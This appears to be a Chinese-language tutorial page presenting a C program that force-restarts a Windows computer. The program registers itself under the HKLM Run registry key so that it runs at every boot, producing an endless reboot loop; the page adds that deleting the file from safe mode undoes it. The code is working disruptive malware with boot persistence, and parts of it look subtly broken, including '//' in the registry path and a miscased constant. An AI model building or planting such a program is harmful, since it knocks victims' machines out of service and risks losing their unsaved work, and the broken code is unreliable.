思路:先寫出讓電腦重啟的代碼,然后更改注冊表,將這個代碼生成的程序設為開機自啟。主要要用到一個Windows函數:ExitWindowsEx,此函數的功能是關閉電腦或者重啟電腦。 這個函數的具體用法可以參考MSDN中關于ExitWindowsEx的詳細介紹 注:此程序最好用英文命名,否則會有一些問題,具體什么問題稍后會說明。
#include <windows.h>BOOL MySystemShutdown(){ HANDLE hToken; TOKEN_PRIVILEGES tkp; // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(FALSE); // Get the LUID for the shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_OperaTINGSYSTEM | SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED)) return FALSE; /*EWX_REBOOT表示重啟電腦,將EWX_REBOOT 改為EWX_SHUTDOWN就會直接關閉電腦,不會重啟*/ //shutdown was successful return TRUE;}int main() { HKEY hkey = { 0 }; RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE//Microsoft//Windows//CurrentVersion//Run", 0, KEY_WRITE, &hkey); char path[MAX_PATH] = { 0 }; GetModuleFileNameA(nullptr, path, MAX_PATH); RegSetValueExA(hkey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path)); /*以上這段代碼的功能是在注冊表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run路徑下新建一個字符串值,其名字為“ShutDown”,值為該程序的所在路徑,一開機就會去這個路徑下查找這個程序并且執行*/ MySystemShutdown(); return 0;}解決辦法:當運行這個程序的時候,電腦每次開機進入系統就會一直重啟,要想不讓這個程序執行,可在開機時進入安全模式(不同的機器和系統進入安全模式的方式可能不一樣,網上有很多教程,請同學們自行百度,這里不再一一介紹),刪除這個程序即可,這就是為什么程序要用英文命名,如果是中文的話,在安全模式下可能無法輸入中文,可能沒有辦法刪除這個程序(當然也不是絕對不可能,只是會麻煩一些)。
新聞熱點
疑難解答